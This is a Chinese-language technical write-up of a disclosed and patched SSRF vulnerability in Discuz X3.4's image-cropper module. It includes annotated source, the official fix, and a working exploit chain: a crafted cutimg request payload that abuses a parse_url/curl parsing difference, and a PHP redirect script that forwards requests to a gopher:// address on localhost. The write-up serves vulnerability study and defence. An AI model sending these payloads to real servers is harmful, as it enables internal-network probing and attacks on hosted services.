/source/module/misc/misc_imgcropper.php
中的54行处的$prefix
可控导致SSRF。文章参考:Discuz x3.4 前台 SSRF 分析[1]。该漏洞公开时间为2018年12月3日,文章地址为:Discuz x3.4前台SSRF[2],由于该文章存在密码,可以查看转载地址:文章转载地址[3]
Discuz开源地址为Gitee[4],使用git clone 克隆到本地
1 2 |
git clone https://gitee.com/Discuz/DiscuzX |
根据补丁提交记录[5]来切换到漏洞修复前的前一个commit版本
1 2 |
git checkout a5c1b95dc4464ee3da0ebd4655d30867f85d6ae9 |
本地搭建好运行环境之后首先访问页面http://www.a.com/dz/DiscuzX/upload/misc.php?mod=imgcropper
,然后点击裁切按钮并抓包
拦截之后重放数据包在提交内容位置添加参数cutimg
和picflag
,红框处填写需要请求的IP地址并发送数据包
1 2 |
&cutimg=/dz/DiscuzX/upload/member.php%3fmod%3dlogging%26action%3dlogout%26referer%3d//c%2523%2540192.168.163.131%26quickforward%3d1&picflag=2 |
这时服务器将成功收到请求
下面来看看后端是怎么处理的,断点地址为source/module/misc/misc_imgcropper.php
line 54。当传递的picflag
为2
时取$_G['setting']['ftp']['attachurl']
变量的值"/"
。接下来55行接收拼接可控变量cutimg
。
既然可控,那么就要看看它后面是怎么处理的,来到Thumb方法
进入init
方法,到达parse_url
方法后在source
中解析出了host
。此时就会进入dfsockopen
1 2 |
//dz/DiscuzX/upload/member.php?mod=logging&action=logout&referer=//c%23%40192.168.163.131&quickforward=1 |
parse_url支持//baidu.com/s这种形式的url解析
继续跟进dfsockopen
方法,在该方法中又进行了解析,处理同上,由于不存在协议所以scheme
为null
,这样在最后拼接出来的URL就是://xx.com/
,这样的链接会自动补上协议,所以最后为http://://xx.com/
。
在windows中使用
curl
请求该地址最终解析到了192.168.163.1,也就是某个网卡的本地地址。请求路径为http://192.168.163.1/xx.com
此时我们能够进行内网请求,但是地址并不可控,所以需要找到一个discuz可以进行任意url跳转的漏洞,再请求该路径跳转出去。discuz在退出的时候会取get
参数referer
中的值来进行跳转,下面来分析跳转处的代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 |
function dreferer($default = '') { global $_G; $default = empty($default) && $_ENV['curapp'] ? $_ENV['curapp'].'.php' : ''; //获取$_GET['referer']参数 $_G['referer'] = !empty($_GET['referer']) ? $_GET['referer'] : $_SERVER['HTTP_REFERER']; $_G['referer'] = substr($_G['referer'], -1) == '?' ? substr($_G['referer'], 0, -1) : $_G['referer']; if(strpos($_G['referer'], 'member.php?mod=logging')) { $_G['referer'] = $default; } $reurl = parse_url($_G['referer']); //如果存在协议则判断是否为http和https,不存在则不判断 if(!$reurl || (isset($reurl['scheme']) && !in_array(strtolower($reurl['scheme']), array('http', 'https')))) { $_G['referer'] = ''; } if( !empty($reurl['host']) && //判断解析的host是否为$_SERVER['HTTP_HOST'] !in_array($reurl['host'], array($_SERVER['HTTP_HOST'], 'www.'.$_SERVER['HTTP_HOST'])) && //判断$_SERVER['HTTP_HOST']是否存在于解析出的host中 !in_array($_SERVER['HTTP_HOST'], array($reurl['host'], 'www.'.$reurl['host']))) { if(!in_array($reurl['host'], $_G['setting']['domain']['app']) && !isset($_G['setting']['domain']['list'][$reurl['host']])) { //截取解析的host第一个.后面的所有内容,没有.则当长度为1时则返回为空 $domainroot = substr($reurl['host'], strpos($reurl['host'], '.')+1); //$_G['setting']['domain']['root']为array且为空 if(empty($_G['setting']['domain']['root']) || (is_array($_G['setting']['domain']['root']) && //想要不进入这个判断需要保证$domainroot为空,这样referer才不会被覆盖,才能实现任意地址跳转 !in_array($domainroot, $_G['setting']['domain']['root']))) { $_G['referer'] = $_G['setting']['domain']['defaultindex'] ? $_G['setting']['domain']['defaultindex'] : 'index.php'; } } } elseif(empty($reurl['host'])) { $_G['referer'] = $_G['siteurl'].'./'.$_G['referer']; } $_G['referer'] = durlencode($_G['referer']); return $_G['referer']; } |
在上面的代码中只要我们做到$_G['referer']
不被覆盖即可,首先解析的host
中存在协议则判断是否为http
和https
,不存在则不判断,所以我们可以不传入协议。第二处判断解析的host
是否为$_SERVER['HTTP_HOST']
,如果是则不进入if覆盖$_G['referer']
。但是这样的话在实际的ssrf跳转场景中$_SERVER['HTTP_HOST']
为空。
所以这个条件无法生效。后面的一个关键判断
$domainroot = substr($reurl['host'], strpos($reurl['host'], '.')+1)
;会截取解析的host
第一个.
后面的所有内容,没有.
并且当长度为1
时则返回为空。返回为空时后面的!in_array($domainroot, $_G['setting']['domain']['root']))
这个条件就为false。也就不会进入if判断覆盖$_G['referer']
了。但是这儿存在一个问题,如果我们host为a
那么最后通过curl
跳转的时候就往a跳转了。不能指定任意地址。此时可以利用parse_url
和curl
的解析差异来绕过这个限制。构造//a#@1.1.1.1
,那么parse_url
将解析host
为a
,而curl
解析host为1.1.1.1
。所以就得到了构造的完整url。
0×02 漏洞利用手段
最后的利用流程为:
ssrf访问本地接口进行URL跳转
====301====>
跳转到目标服务器,服务器上使用跳转脚本进行协议转换或者任意路径访问
=====302=====>
通过指定协议如gopher
,访问指定路径/_test…等
首先通过服务器搭建跳转脚本index.php
1 2 3 4 |
<?php header("Location: gopher://127.0.0.1:2333/_test"); ?> |
0×03 漏洞修复方法
官方在补丁提交记录[2]的版本提交中对漏洞进行了修复,修复方式为重写了dfsockopen
中调用的parse_url
为_parse_url
,在该方法中判断了parse_url
是否能够解析出协议,无法解析则退出。
0×04 漏洞思考总结
这个漏洞的成功利用离不开对parse_url
解析特性的了解,parse_url
成功从cutimg
变量中解析出host,才能调用dfsockopen
方法,在该方法中使用curl
请求拼接了前缀的地址://xx.com
。这将请求本地地址,通过寻找discuz的url跳转来将本地请求转发出去。而在url跳转的利用中使用到了parse_url
和curl
对//a#@1.1.1.1
的解析差异来完成任意地址访问。最后在访问地址使用302跳转来达到使用指定协议请求指定路径或发送数据的目的。
[1]Discuz x3.4 前台 SSRF 分析: https://paper.seebug.org/756/
[2]Discuz x3.4前台SSRF: https://www.cnblogs.com/iamstudy/articles/discuz_x34_ssrf_1.html
[3]Discuz x3.4前台SSRF转载: https://www.codercto.com/a/43029.html
[4]Discuz: https://gitee.com/Discuz/DiscuzX/
[5]补丁提交记录: https://gitee.com/Discuz/DiscuzX/commit/41eb5bb0a3a716f84b0ce4e4feb41e6f25a980a3